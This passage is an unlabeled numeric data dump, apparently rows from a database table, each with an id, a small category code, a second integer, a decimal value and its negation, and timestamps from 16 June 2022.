13:02:20.325871+00 +29879,2,9728,4.805173255,-4.805173255,2022-06-16 12:05:04.565209+00 +35914,6,10813,2.370220191,-2.370220191,2022-06-16 12:36:34.385145+00 +29881,2,9758,8.070620073,-8.070620073,2022-06-16 12:05:04.599787+00 +40746,4,11563,1.62294618,-1.62294618,2022-06-16 13:02:20.326769+00 +34068,2,10462,7.905308667,-7.905308667,2022-06-16 12:27:04.681684+00 +49616,4,12885,8.39360638,-8.39360638,2022-06-16 13:50:16.554303+00 +31604,6,10109,2.983785296,-2.983785296,2022-06-16 12:14:08.012947+00 +49627,4,13098,5.450761784,-5.450761784,2022-06-16 13:50:19.942563+00 +29887,2,9759,8.551765218,-8.551765218,2022-06-16 12:05:04.750153+00 +53104,1,13682,10.34444794,-10.34444794,2022-06-16 14:08:29.818681+00 +53105,1,13674,2.520657386,-2.520657386,2022-06-16 14:08:29.819651+00 +40909,4,11512,7.888251805,-7.888251805,2022-06-16 13:03:11.827176+00 +53126,1,13758,1.537104169,-1.537104169,2022-06-16 14:08:35.816557+00 +36039,2,10731,6.138216973,-6.138216973,2022-06-16 12:37:14.449477+00 +38583,6,11310,6.913282612,-6.913282612,2022-06-16 12:52:02.616616+00 +49830,2,13051,4.011271101,-4.011271101,2022-06-16 13:51:14.463653+00 +31702,4,10070,16.12386349,-16.12386349,2022-06-16 12:14:31.110205+00 +31716,4,9912,8.540526379,-8.540526379,2022-06-16 12:14:45.104792+00 +29897,2,9790,5.152268143,-5.152268143,2022-06-16 12:05:05.01362+00 +49831,2,13115,3.990616464,-3.990616464,2022-06-16 13:51:14.464429+00 +31728,3,10094,14.14109303,-14.14109303,2022-06-16 12:14:57.235405+00 +29900,2,9791,5.422934245,-5.422934245,2022-06-16 12:05:05.073045+00 +31729,3,10095,14.16871403,-14.16871403,2022-06-16 12:14:57.239091+00 +53127,1,13726,5.204287202,-5.204287202,2022-06-16 14:08:35.818152+00 +38654,3,11248,2.651285975,0,2022-06-16 12:52:05.870813+00 +38689,4,11029,11.14025164,-11.14025164,2022-06-16 12:52:13.798409+00 +31747,1,10017,9.492159359,-9.492159359,2022-06-16 12:14:59.269864+00 +29906,2,9774,6.568392969,-6.568392969,2022-06-16 12:05:05.212564+00 +31748,1,10025,8.426150987,-8.426150987,2022-06-16 12:14:59.273222+00 +31749,1,9761,9.447423785,-9.447423785,2022-06-16 12:14:59.274122+00 +31750,1,9825,9.415209795,-9.415209795,2022-06-16 12:14:59.274925+00 +31751,1,9826,17.01628344,-17.01628344,2022-06-16 12:14:59.275716+00 +31752,1,10041,8.389688142,-8.389688142,2022-06-16 12:14:59.276487+00 +29913,2,9775,7.018204765,-7.018204765,2022-06-16 12:05:05.386816+00 +32257,3,10174,11.67851945,-11.67851945,2022-06-16 12:17:19.417076+00 +39729,4,11384,7.931096552,-7.931096552,2022-06-16 12:57:26.185258+00 +42649,2,11903,3.343433032,-3.343433032,2022-06-16 13:11:05.632876+00 +48971,4,12832,5.834837599,-5.834837599,2022-06-16 13:46:41.209431+00 +34738,2,10541,5.362928654,-5.362928654,2022-06-16 12:30:14.42399+00 +32510,6,10223,8.728876853,-8.728876853,2022-06-16 12:18:47.914218+00 +29920,6,9712,1.804193855,0,2022-06-16 12:05:05.881519+00 +37321,1,10977,9.399571002,-9.399571002,2022-06-16 12:44:47.408265+00 +30485,4,9902,6.150882663,-6.150882663,2022-06-16 12:08:07.765724+00 +30486,4,9854,4.802766123,-4.802766123,2022-06-16 12:08:07.770679+00 +30487,4,9918,4.78890897,-4.78890897,2022-06-16 12:08:07.772202+00 +29925,6,9728,5.390276341,-5.390276341,2022-06-16 12:05:06.129759+00 +29926,1,9775,6.033623181,-6.033623181,2022-06-16 12:05:08.18319+00 +29927,1,9791,4.613480803,-4.613480803,2022-06-16 12:05:08.186737+00 +29928,1,9790,4.709792363,-4.709792363,2022-06-16 12:05:08.187703+00 +29929,6,9514,10.6598748,-10.6598748,2022-06-16 12:05:12.872029+00 +30498,4,9837,4.336665985,-4.336665985,2022-06-16 12:08:09.929231+00 +30499,4,9853,4.447156718,-4.447156718,2022-06-16 12:08:09.930389+00 +30532,1,9818,17.26039331,-17.26039331,2022-06-16 12:08:38.188519+00 +30533,1,9850,17.28716201,-17.28716201,2022-06-16 12:08:38.191824+00 +29934,2,9723,6.2729647,-6.2729647,2022-06-16 12:05:14.414729+00 +34817,3,10285,7.353945803,-7.353945803,2022-06-16 12:30:33.284027+00 +30571,6,9918,7.991013441,-7.991013441,2022-06-16 12:08:45.366658+00 +37322,1,11069,3.61855669,-3.61855669,2022-06-16 12:44:47.411844+00 +37323,1,11001,7.279447152,-7.279447152,2022-06-16 12:44:47.412723+00 +30672,2,9851,6.161286708,-6.161286708,2022-06-16 12:09:14.456427+00 +37324,1,11053,3.507363612,-3.507363612,2022-06-16 12:44:47.41353+00 +37325,1,10985,7.272439274,-7.272439274,2022-06-16 12:44:47.414361+00 +37326,1,10969,7.350438069,-7.350438069,2022-06-16 12:44:47.415217+00 +49062,2,12970,3.510850336,-3.510850336,2022-06-16 13:47:14.4953+00 +45960,6,12416,4.040496844,-4.040496844,2022-06-16 13:29:21.455096+00 +29945,3,9776,2.628335145,0,2022-06-16 12:05:24.193292+00 +32941,2,10286,5.9239552,-5.9239552,2022-06-16 12:21:05.125825+00 +37454,2,10987,5.863190188,-5.863190188,2022-06-16 12:45:14.555106+00 +37503,1,10848,5.718454771,-5.718454771,2022-06-16 12:45:50.436161+00 +30893,6,9981,3.068592651,-3.068592651,2022-06-16 12:10:19.501828+00 +37504,1,10976,5.704523128,-5.704523128,2022-06-16 12:45:50.439495+00 +37606,1,11056,0.576963999,0,2022-06-16 12:46:14.408756+00 +56607,4,14320,0.614752302,0,2022-06-16 14:28:08.279294+00 +31030,2,9982,4.887326644,-4.887326644,2022-06-16 12:11:09.331164+00 +37671,6,11117,2.078499531,-2.078499531,2022-06-16 12:46:31.112552+00 +56608,4,14336,1.100052482,-1.100052482,2022-06-16 14:28:08.282444+00 +56665,4,14293,6.729975219,-6.729975219,2022-06-16 14:28:15.568794+00 +49486,6,13035,2.803209239,-2.803209239,2022-06-16 13:49:16.433751+00 +29960,6,9683,14.40695559,-14.40695559,2022-06-16 12:05:25.114721+00 +35495,4,10669,3.290690178,-3.290690178,2022-06-16 12:34:11.705771+00 +35496,4,10685,3.390936125,-3.390936125,2022-06-16 12:34:11.709324+00 +35497,4,10637,15.46001517,-15.46001517,2022-06-16 12:34:11.710161+00 +33444,1,10133,14.05278587,-14.05278587,2022-06-16 12:23:44.321283+00 +33445,1,10069,13.99463434,-13.99463434,2022-06-16 12:23:44.324481+00 +33446,1,10261,13.93678088,-13.93678088,2022-06-16 12:23:44.325282+00 +31274,1,9979,3.658501078,-3.658501078,2022-06-16 12:12:23.238683+00 +31289,1,9968,0.66152844,0,2022-06-16 12:12:38.238059+00 +31290,1,9952,6.398906631,-6.398906631,2022-06-16 12:12:38.239405+00 +33447,1,10197,13.87922468,-13.87922468,2022-06-16 12:23:44.325986+00 +35498,4,10735,4.619536296,-4.619536296,2022-06-16 12:34:11.711056+00 +31351,3,10026,9.292166394,-9.292166394,2022-06-16 12:12:52.257254+00 +29973,3,9792,7.44484546,-7.44484546,2022-06-16 12:05:35.197117+00 +35499,4,10653,9.456818775,-9.456818775,2022-06-16 12:34:11.712021+00 +53080,1,13676,12.24397695,-12.24397695,2022-06-16 14:08:23.840414+00 +29976,6,9450,10.60728477,-10.60728477,2022-06-16 12:05:36.139089+00 +43469,1,11928,7.53577995,-7.53577995,2022-06-16 13:14:50.604623+00 +38023,4,10912,6.089787505,-6.089787505,2022-06-16 12:48:34.609501+00 +31425,6,9939,14.1716347,-14.1716347,2022-06-16 12:13:09.878247+00 +33662,1,10338,15.98222969,-15.98222969,2022-06-16 12:24:56.298998+00 +33663,1,10346,8.157897155,-8.157897155,2022-06-16 12:24:56.300294+00 +33664,1,10362,16.03136694,-16.03136694,2022-06-16 12:24:56.301049+00 +31490,3,10048,7.190408659,-7.190408659,2022-06-16 12:13:51.900919+00 +33665,1,10330,16.03203915,-16.03203915,2022-06-16 12:24:56.301799+00 +43470,1,12015,3.607126417,-3.607126417,2022-06-16 13:14:50.608078+00 +31529,7,9962,9.264359774,-9.264359774,2022-06-16 12:13:56.749074+00 +33715,2,10415,5.99178659,-5.99178659,2022-06-16 12:25:05.172984+00 +31542,3,10111,11.69239777,-11.69239777,2022-06-16 12:14:04.179111+00 +46527,2,12510,7.810338012,-7.810338012,2022-06-16 13:33:14.336732+00 +46528,2,12574,7.7824329,-7.7824329,2022-06-16 13:33:14.339999+00 +53081,1,13660,11.8415817,-11.8415817,2022-06-16 14:08:23.843943+00 +53082,1,13657,4.706582656,-4.706582656,2022-06-16 14:08:23.844742+00 +43780,4,11989,9.874630007,-9.874630007,2022-06-16 13:16:14.557037+00 +31597,6,10032,1.820257761,0,2022-06-16 12:14:07.213931+00 +31612,4,9997,16.19489841,-16.19489841,2022-06-16 12:14:12.483512+00 +31613,4,10095,5.707313369,-5.707313369,2022-06-16 12:14:14.09429+00 +31614,4,10031,5.690089762,-5.690089762,2022-06-16 12:14:14.097709+00 +31615,4,10015,7.333880039,-7.333880039,2022-06-16 12:14:14.098504+00 +31616,4,10079,7.309556825,-7.309556825,2022-06-16 12:14:14.099376+00 +31617,4,10111,4.318779219,-4.318779219,2022-06-16 12:14:14.100121+00 +31621,1,10043,3.628711463,-3.628711463,2022-06-16 12:14:14.238958+00 +33827,2,10410,6.255262363,-6.255262363,2022-06-16 12:25:57.561522+00 +33846,6,10346,9.089542952,-9.089542952,2022-06-16 12:26:03.027852+00 +43792,4,12047,15.06443173,-15.06443173,2022-06-16 13:16:20.563957+00 +31646,4,10103,11.93810257,-11.93810257,2022-06-16 12:14:15.34335+00 +31647,4,10005,13.51440284,-13.51440284,2022-06-16 12:14:15.344576+00 +31649,1,10110,4.36955863,-4.36955863,2022-06-16 12:14:20.238818+00 +31650,1,10111,4.287973706,-4.287973706,2022-06-16 12:14:20.24002+00 +31651,1,10094,5.605132407,-5.605132407,2022-06-16 12:14:20.24079+00 +31652,1,10078,7.233925175,-7.233925175,2022-06-16 12:14:20.241528+00 +31653,1,10095,5.624448617,-5.624448617,2022-06-16 12:14:20.242354+00 +31654,1,10079,7.238180052,-7.238180052,2022-06-16 12:14:20.242988+00 +31655,4,9971,10.19650698,-10.19650698,2022-06-16 12:14:21.305507+00 +31656,4,10035,10.16450563,-10.16450563,2022-06-16 12:14:21.30878+00 +31657,4,9931,12.18907863,-12.18907863,2022-06-16 12:14:21.309707+00 +31658,4,9995,12.14909566,-12.14909566,2022-06-16 12:14:21.310475+00 +30017,6,9759,11.56410149,-11.56410149,2022-06-16 12:05:50.428879+00 +31659,4,9947,4.517949468,-4.517949468,2022-06-16 12:14:21.311271+00 +31660,4,10011,4.508086751,-4.508086751,2022-06-16 12:14:21.312028+00 +31661,4,10102,11.66712428,-11.66712428,2022-06-16 12:14:21.312788+00 +31662,4,10043,2.153209772,-2.153209772,2022-06-16 12:14:21.313411+00 +38344,2,11181,5.031785359,-5.031785359,2022-06-16 12:50:24.404269+00 +33866,3,10494,11.21549068,-11.21549068,2022-06-16 12:26:04.732006+00 +40747,4,11531,12.69879219,-12.69879219,2022-06-16 13:02:21.788513+00 +33884,3,10495,11.30876555,-11.30876555,2022-06-16 12:26:05.034663+00 +31686,6,10043,4.590507721,-4.590507721,2022-06-16 12:14:27.7845+00 +35830,4,10814,3.802493668,-3.802493668,2022-06-16 12:36:08.75182+00 +31711,1,10008,9.548908257,-9.548908257,2022-06-16 12:14:38.26566+00 +31717,1,10026,9.351191302,-9.351191302,2022-06-16 12:14:47.266877+00 +35831,4,10798,4.873572784,-4.873572784,2022-06-16 12:36:08.755118+00 +38385,6,11246,6.974032361,-6.974032361,2022-06-16 12:50:40.234962+00 +56509,4,14233,7.937153633,-7.937153633,2022-06-16 14:27:50.461803+00 +32317,3,10160,2.641414303,0,2022-06-16 12:17:49.180215+00 +45869,6,12437,7.476366165,-7.476366165,2022-06-16 13:28:48.358815+00 +32443,2,10173,5.675702112,-5.675702112,2022-06-16 12:18:24.411895+00 +60069,6,14831,2.477940229,-2.477940229,2022-06-16 14:42:39.62183+00 +34818,1,10598,15.6891945,-15.6891945,2022-06-16 12:30:47.378468+00 +34819,1,10590,6.5509261,-6.5509261,2022-06-16 12:30:47.381729+00 +34820,1,10622,3.541274731,-3.541274731,2022-06-16 12:30:47.382664+00 +34821,1,10582,14.76436303,-14.76436303,2022-06-16 12:30:47.383471+00 +34822,1,10606,4.512592237,-4.512592237,2022-06-16 12:30:47.384222+00 +34823,1,10614,10.99066115,-10.99066115,2022-06-16 12:30:47.384999+00 +30673,3,9874,20.21283018,-20.21283018,2022-06-16 12:09:16.849629+00 +30692,4,9770,9.644219515,-9.644219515,2022-06-16 12:09:20.82452+00 +30693,4,9834,9.599555686,-9.599555686,2022-06-16 12:09:20.825866+00 +40005,6,11503,6.445396514,-6.445396514,2022-06-16 12:58:49.351963+00 +30727,3,9920,7.276855796,-7.276855796,2022-06-16 12:09:43.584338+00 +30741,3,9746,20.04612119,-20.04612119,2022-06-16 12:09:45.429898+00 +37455,6,10858,8.054546481,-8.054546481,2022-06-16 12:45:17.681095+00 +37505,6,10986,7.957499801,-7.957499801,2022-06-16 12:46:02.844385+00 +43013,6,11966,4.796198984,-4.796198984,2022-06-16 13:12:38.189918+00 +37571,4,11056,0.623450897,0,2022-06-16 12:46:08.056175+00 +37572,4,11072,1.572538464,-1.572538464,2022-06-16 12:46:08.057789+00 +30894,4,9843,10.2618436,-10.2618436,2022-06-16 12:10:20.129727+00 +30895,4,9907,10.22943771,-10.22943771,2022-06-16 12:10:20.13317+00 +30896,4,9915,2.26597572,-2.26597572,2022-06-16 12:10:20.13401+00 +30897,4,9803,12.32368675,-12.32368675,2022-06-16 12:10:20.134858+00 +30898,4,9867,12.28302583,-12.28302583,2022-06-16 12:10:20.135748+00 +30899,4,9819,4.540587183,-4.540587183,2022-06-16 12:10:20.136627+00 +30900,4,9883,4.530595774,-4.530595774,2022-06-16 12:10:20.137434+00 +37573,4,11102,7.249284231,-7.249284231,2022-06-16 12:46:08.059105+00 +35144,6,10653,7.299141694,-7.299141694,2022-06-16 12:32:27.577636+00 +35156,4,10670,5.055512406,-5.055512406,2022-06-16 12:32:30.002417+00 +31008,2,9950,7.949220778,-7.949220778,2022-06-16 12:11:04.690231+00 +35157,4,10646,15.87380407,-15.87380407,2022-06-16 12:32:30.003909+00 +35158,4,10638,17.90614603,-17.90614603,2022-06-16 12:32:30.004775+00 +37574,4,11118,4.511705144,-4.511705144,2022-06-16 12:46:08.059999+00 +33385,1,10272,6.130835695,-6.130835695,2022-06-16 12:23:29.321087+00 +49341,6,13040,2.039349735,0,2022-06-16 13:48:37.875368+00 +33448,4,10272,6.171555668,-6.171555668,2022-06-16 12:23:49.205576+00 +33476,3,10431,11.36573059,-11.36573059,2022-06-16 12:24:03.934992+00 +40170,3,11435,8.660097535,-8.660097535,2022-06-16 12:59:48.605607+00 +31229,6,10014,11.89066424,-11.89066424,2022-06-16 12:12:18.36679+00 +53083,1,13681,5.116226516,-5.116226516,2022-06-16 14:08:23.845506+00 +37819,3,11051,9.347503995,-9.347503995,2022-06-16 12:47:40.339764+00 +31278,6,10005,10.71338494,-10.71338494,2022-06-16 12:12:28.166682+00 +33624,6,10414,8.54570627,-8.54570627,2022-06-16 12:24:37.384022+00 +31315,2,9834,7.063633251,-7.063633251,2022-06-16 12:12:40.699274+00 +53084,1,13672,14.36712329,-14.36712329,2022-06-16 14:08:23.846249+00 +43388,6,12029,1.761750862,-1.761750862,2022-06-16 13:14:18.654759+00 +46427,4,12408,7.621382821,-7.621382821,2022-06-16 13:32:21.511227+00 +40506,2,11515,4.745528277,-4.745528277,2022-06-16 13:01:14.557127+00 +46428,4,12531,9.156134321,-9.156134321,2022-06-16 13:32:21.512682+00 +31426,6,9963,5.028735771,-5.028735771,2022-06-16 12:13:10.090281+00 +31450,4,9888,6.25603686,-6.25603686,2022-06-16 12:13:17.810087+00 +35535,6,10672,1.867491264,0,2022-06-16 12:34:22.898901+00 +31466,4,9962,9.268706411,-9.268706411,2022-06-16 12:13:24.037032+00 +31467,4,9952,6.239502959,-6.239502959,2022-06-16 12:13:24.038264+00 +35558,1,10667,3.467989572,-3.467989572,2022-06-16 12:34:29.391644+00 +35559,1,10751,3.748344808,-3.748344808,2022-06-16 12:34:29.392774+00 +31504,6,10015,11.26507853,-11.26507853,2022-06-16 12:13:55.584005+00 +35560,1,10658,15.28013526,-15.28013526,2022-06-16 12:34:29.393538+00 +35561,1,10683,3.013144291,-3.013144291,2022-06-16 12:34:29.394303+00 +35562,1,10687,3.738787845,-3.738787845,2022-06-16 12:34:29.3951+00 +35563,1,10735,4.81110844,-4.81110844,2022-06-16 12:34:29.395877+00 +43533,2,12030,3.296941348,-3.296941348,2022-06-16 13:15:05.405174+00 +46429,4,12507,4.294499239,-4.294499239,2022-06-16 13:32:21.513559+00 +33960,6,10453,10.03680647,-10.03680647,2022-06-16 12:26:17.884248+00 +46430,4,12491,13.21643134,-13.21643134,2022-06-16 13:32:21.514349+00 +46431,4,12523,1.257358108,-1.257358108,2022-06-16 13:32:21.515172+00 +40748,1,11560,15.7477439,-15.7477439,2022-06-16 13:02:23.542954+00 +40749,1,11605,12.74502812,-12.74502812,2022-06-16 13:02:23.546931+00 +40768,4,11539,7.074724353,-7.074724353,2022-06-16 13:02:28.078119+00 +40779,3,11325,6.648861899,-6.648861899,2022-06-16 13:02:35.685642+00 +34087,2,10479,5.88305126,-5.88305126,2022-06-16 12:27:05.131521+00 +34088,2,10494,4.435749331,-4.435749331,2022-06-16 12:27:05.135174+00 +46530,2,12318,7.754680603,-7.754680603,2022-06-16 13:33:14.369546+00 +46531,2,12382,7.727080071,-7.727080071,2022-06-16 13:33:14.372955+00 +35832,4,10701,15.39688743,-15.39688743,2022-06-16 12:36:11.813818+00 +35833,4,10733,3.214115517,-3.214115517,2022-06-16 12:36:11.817026+00 +35834,4,10717,9.367861266,-9.367861266,2022-06-16 12:36:11.817893+00 +35835,4,10749,3.305944879,-3.305944879,2022-06-16 12:36:11.818692+00 +35836,4,10799,4.500793778,-4.500793778,2022-06-16 12:36:11.819477+00 +31737,3,10110,11.77546938,-11.77546938,2022-06-16 12:14:57.457006+00 +35837,4,10815,3.522177162,-3.522177162,2022-06-16 12:36:11.8203+00 +35856,3,10752,6.469681317,-6.469681317,2022-06-16 12:36:16.630081+00 +31753,1,9889,9.37101431,-9.37101431,2022-06-16 12:14:59.277301+00 +31754,1,10009,8.461224147,-8.461224147,2022-06-16 12:14:59.277971+00 +31755,1,9762,16.93798857,-16.93798857,2022-06-16 12:14:59.278611+00 +31756,1,9953,9.327001129,-9.327001129,2022-06-16 12:14:59.279278+00 +35857,3,10816,6.433136475,-6.433136475,2022-06-16 12:36:16.63346+00 +46532,2,12446,7.699630263,-7.699630263,2022-06-16 13:33:14.37377+00 +38484,6,11263,5.373853838,-5.373853838,2022-06-16 12:51:08.705292+00 +34250,3,10479,13.53164852,-13.53164852,2022-06-16 12:28:06.13059+00 +43928,2,12063,8.259654392,-8.259654392,2022-06-16 13:17:05.313902+00 +35916,1,10714,15.15290142,-15.15290142,2022-06-16 12:36:35.403721+00 +34286,1,10488,8.128419419,-8.128419419,2022-06-16 12:28:23.323596+00 +31773,2,10078,7.888699527,-7.888699527,2022-06-16 12:15:04.681199+00 +35917,1,10722,15.09950773,-15.09950773,2022-06-16 12:36:35.404541+00 +35918,1,10730,7.027930643,-7.027930643,2022-06-16 12:36:35.405321+00 +38510,2,11195,4.973440708,-4.973440708,2022-06-16 12:51:14.548345+00 +38512,4,11178,7.707937051,-7.707937051,2022-06-16 12:51:18.952513+00 +46533,2,12511,8.496012991,-8.496012991,2022-06-16 13:33:14.374545+00 +31779,2,10079,8.329410134,-8.329410134,2022-06-16 12:15:04.801563+00 +38560,6,11091,13.74266471,-13.74266471,2022-06-16 12:51:52.065833+00 +34370,6,10525,7.455002065,-7.455002065,2022-06-16 12:28:37.476032+00 +35997,2,10736,1.654803401,0,2022-06-16 12:37:04.517701+00 +38561,6,11155,13.6839632,-13.6839632,2022-06-16 12:51:52.070119+00 +34412,4,10475,2.195583215,-2.195583215,2022-06-16 12:28:50.218048+00 +31785,2,10094,6.057472133,-6.057472133,2022-06-16 12:15:04.92708+00 +31786,2,10095,6.460043536,-6.460043536,2022-06-16 12:15:04.93057+00 +36012,2,10799,5.429469921,-5.429469921,2022-06-16 12:37:04.88231+00 +46534,2,12575,8.464871737,-8.464871737,2022-06-16 13:33:14.375433+00 +53085,1,13673,4.644069681,-4.644069681,2022-06-16 14:08:23.846967+00 +53086,1,13692,11.90913077,-11.90913077,2022-06-16 14:08:23.847744+00 +44115,6,12141,1.466983347,-1.466983347,2022-06-16 13:18:06.390865+00 +41040,6,11632,1.933261627,0,2022-06-16 13:04:03.261608+00 +56389,2,14272,3.340611712,-3.340611712,2022-06-16 14:27:05.203258+00 +31794,2,10110,4.730499902,-4.730499902,2022-06-16 12:15:05.10203+00 +32260,3,10175,11.58817487,-11.58817487,2022-06-16 12:17:19.475311+00 +34541,3,10363,9.412715922,-9.412715922,2022-06-16 12:29:33.530076+00 +34542,3,10427,9.349445418,-9.349445418,2022-06-16 12:29:33.533596+00 +34543,3,10491,9.286701008,-9.286701008,2022-06-16 12:29:33.534432+00 +56390,2,14233,9.902673495,-9.902673495,2022-06-16 14:27:05.207418+00 +37168,6,10992,1.89072345,0,2022-06-16 12:44:03.168277+00 +32576,2,10223,6.28648888,-6.28648888,2022-06-16 12:19:05.182484+00 +31802,1,10018,16.86004802,-16.86004802,2022-06-16 12:15:05.264445+00 +31803,1,10010,16.9887019,-16.9887019,2022-06-16 12:15:05.267774+00 +31804,1,9954,16.74339615,-16.74339615,2022-06-16 12:15:05.268602+00 +31805,1,9890,16.66641087,-16.66641087,2022-06-16 12:15:05.269409+00 +31806,1,10042,16.75426732,-16.75426732,2022-06-16 12:15:05.270179+00 +37232,6,11037,6.999069508,-6.999069508,2022-06-16 12:44:07.931619+00 +31808,2,10111,4.975450578,-4.975450578,2022-06-16 12:15:05.298278+00 +31809,6,9958,21.97533508,-21.97533508,2022-06-16 12:15:05.969349+00 +31810,6,10022,21.89153003,-21.89153003,2022-06-16 12:15:05.972518+00 +31811,6,10086,21.80780748,-21.80780748,2022-06-16 12:15:05.973292+00 +31812,6,9766,21.72417307,-21.72417307,2022-06-16 12:15:05.974319+00 +31813,6,9830,21.64063236,-21.64063236,2022-06-16 12:15:05.975059+00 +31814,6,9894,21.55719085,-21.55719085,2022-06-16 12:15:05.975775+00 +31815,4,9752,9.476530986,-9.476530986,2022-06-16 12:15:10.598488+00 +52695,3,13546,5.402340673,-5.402340673,2022-06-16 14:06:15.474741+00 +34873,2,10622,4.369080415,-4.369080415,2022-06-16 12:31:05.280674+00 +49142,4,12920,7.44021137,-7.44021137,2022-06-16 13:47:48.516888+00 +56391,2,14234,11.12177549,-11.12177549,2022-06-16 14:27:05.208279+00 +32817,6,10271,11.03323596,-11.03323596,2022-06-16 12:20:24.396403+00 +37396,2,11054,5.082656031,-5.082656031,2022-06-16 12:45:04.958207+00 +46128,6,12435,13.186803,-13.186803,2022-06-16 13:30:24.314783+00 +32902,6,10235,4.448710862,-4.448710862,2022-06-16 12:20:54.136887+00 +31824,4,10026,9.247030968,-9.247030968,2022-06-16 12:15:13.983556+00 +56392,2,14249,9.792304709,-9.792304709,2022-06-16 14:27:05.209+00 +52914,2,13627,3.592778852,-3.592778852,2022-06-16 14:07:14.535304+00 +31827,1,10006,15.94348674,-15.94348674,2022-06-16 12:15:14.240696+00 +31828,1,9750,15.88272586,-15.88272586,2022-06-16 12:15:14.244027+00 +31829,1,9814,15.82221684,-15.82221684,2022-06-16 12:15:14.244844+00 +31830,1,10038,11.61676658,-11.61676658,2022-06-16 12:15:14.245871+00 +31831,1,9974,11.57293977,-11.57293977,2022-06-16 12:15:14.247208+00 +31832,1,9846,11.52934425,-11.52934425,2022-06-16 12:15:14.248038+00 +31833,1,9782,11.48597889,-11.48597889,2022-06-16 12:15:14.248876+00 +31834,1,10070,15.67568198,-15.67568198,2022-06-16 12:15:14.249617+00 +31835,1,10102,11.41648816,-11.41648816,2022-06-16 12:15:14.250292+00 +31836,1,9878,15.59489232,-15.59489232,2022-06-16 12:15:14.250979+00 +31837,1,9910,11.34764823,-11.34764823,2022-06-16 12:15:14.251793+00 +31838,1,9942,15.51464512,-15.51464512,2022-06-16 12:15:14.25246+00 +43231,3,11967,8.418746061,-8.418746061,2022-06-16 13:14:04.078709+00 +43232,3,12031,8.363994905,-8.363994905,2022-06-16 13:14:04.083935+00 +35199,6,10654,11.11757756,-11.11757756,2022-06-16 12:32:51.191689+00 +56393,2,14250,2.417463289,-2.417463289,2022-06-16 14:27:05.209705+00 +31843,2,10043,6.040338576,-6.040338576,2022-06-16 12:15:14.416904+00 +33142,3,10351,13.74316839,-13.74316839,2022-06-16 12:22:07.0839+00 +43297,6,12030,4.730863243,-4.730863243,2022-06-16 13:14:06.245662+00 +33195,2,10285,5.44900263,-5.44900263,2022-06-16 12:22:14.41306+00 +56394,2,14257,10.55159061,-10.55159061,2022-06-16 14:27:05.210465+00 +40458,2,11551,8.107731157,-8.107731157,2022-06-16 13:01:05.070429+00 +31849,4,9816,9.446808955,-9.446808955,2022-06-16 12:15:21.510383+00 +43396,1,11946,4.462126072,-4.462126072,2022-06-16 13:14:20.58337+00 +40507,4,11498,7.274377911,-7.274377911,2022-06-16 13:01:17.971631+00 +35417,3,10619,9.13072696,-9.13072696,2022-06-16 12:33:49.503575+00 +37943,3,11118,12.04382433,-12.04382433,2022-06-16 12:48:05.725648+00 +56395,2,14258,10.9616186,-10.9616186,2022-06-16 14:27:05.2113+00 +38025,6,11149,12.26443695,-12.26443695,2022-06-16 12:48:37.525791+00 +46536,2,12319,8.43390361,-8.43390361,2022-06-16 13:33:14.404338+00 +46537,2,12383,8.403107439,-8.403107439,2022-06-16 13:33:14.407734+00 +33546,4,10325,12.84630801,-12.84630801,2022-06-16 12:24:13.312215+00 +46538,2,12447,8.372482064,-8.372482064,2022-06-16 13:33:14.408539+00 +49696,6,13075,12.76631218,-12.76631218,2022-06-16 13:50:34.779906+00 +38219,3,11131,8.22666412,-8.22666412,2022-06-16 12:49:42.072403+00 +33691,2,10368,4.511926288,-4.511926288,2022-06-16 12:25:04.644166+00 +35713,2,10667,6.202586127,-6.202586127,2022-06-16 12:35:14.426458+00 +43782,1,11996,13.83234739,-13.83234739,2022-06-16 13:16:14.575587+00 +38283,3,11247,11.75307315,-11.75307315,2022-06-16 12:50:06.846956+00 +43783,1,12028,13.80445233,-13.80445233,2022-06-16 13:16:14.579245+00 +43784,1,12012,13.77366892,-13.77366892,2022-06-16 13:16:14.580094+00 +40880,2,11615,8.083300714,-8.083300714,2022-06-16 13:03:05.07017+00 +43793,1,12020,13.74811404,-13.74811404,2022-06-16 13:16:20.576254+00 +35838,4,10581,12.14412251,-12.14412251,2022-06-16 12:36:13.086177+00 +35839,4,10645,12.09726832,-12.09726832,2022-06-16 12:36:13.089504+00 +35858,1,10790,15.58649681,-15.58649681,2022-06-16 12:36:17.403532+00 +35859,1,10814,3.32880154,-3.32880154,2022-06-16 12:36:17.404779+00 +33922,3,10415,13.60898736,-13.60898736,2022-06-16 12:26:06.956457+00 +33962,6,10461,7.474261219,-7.474261219,2022-06-16 12:26:19.780337+00 +35860,1,10774,14.54348717,-14.54348717,2022-06-16 12:36:17.405626+00 +33999,6,10462,11.27451456,-11.27451456,2022-06-16 12:26:55.031718+00 +35861,1,10798,4.273926534,-4.273926534,2022-06-16 12:36:17.406407+00 +34018,6,10479,8.142499054,-8.142499054,2022-06-16 12:26:55.725103+00 +31880,4,9880,9.417228895,-9.417228895,2022-06-16 12:15:29.659836+00 +34034,6,10416,1.860903913,0,2022-06-16 12:26:57.799496+00 +35867,4,10806,12.00412916,-12.00412916,2022-06-16 12:36:19.648446+00 +38456,2,11262,3.801213627,-3.801213627,2022-06-16 12:51:05.448935+00 +35902,7,10794,8.175837784,-8.175837784,2022-06-16 12:36:31.461994+00 +43808,4,12027,1.236947298,-1.236947298,2022-06-16 13:16:23.8298+00 +43809,4,12019,9.389100207,-9.389100207,2022-06-16 13:16:23.831071+00 +35937,6,10814,6.252408367,-6.252408367,2022-06-16 12:36:43.33914+00 +43810,4,11979,13.03374803,-13.03374803,2022-06-16 13:16:23.831947+00 +43811,4,12011,1.435626211,-1.435626211,2022-06-16 13:16:23.832681+00 +35971,6,10752,4.72924034,-4.72924034,2022-06-16 12:36:53.038568+00 +43812,4,11995,4.345969321,-4.345969321,2022-06-16 13:16:23.833326+00 +31894,6,10079,11.22504189,-11.22504189,2022-06-16 12:15:32.540381+00 +34204,6,10496,5.026796762,-5.026796762,2022-06-16 12:28:04.502037+00 +38632,6,11248,1.901198942,0,2022-06-16 12:52:05.366857+00 +56610,6,14382,3.143817161,-3.143817161,2022-06-16 14:28:08.352726+00 +38680,7,11178,7.673163767,-7.673163767,2022-06-16 12:52:11.833453+00 +34251,4,10480,0.633773389,0,2022-06-16 12:28:07.593228+00 +34266,4,10527,6.88947088,-6.88947088,2022-06-16 12:28:12.700774+00 +31901,6,10095,8.930909588,-8.930909588,2022-06-16 12:15:32.93822+00 +34277,1,10480,0.617613681,0,2022-06-16 12:28:17.30011+00 +34278,1,10456,9.019297746,-9.019297746,2022-06-16 12:28:17.301236+00 +34279,1,10496,1.782517351,-1.782517351,2022-06-16 12:28:17.302032+00 +38725,6,11259,3.545102234,-3.545102234,2022-06-16 12:52:19.097512+00 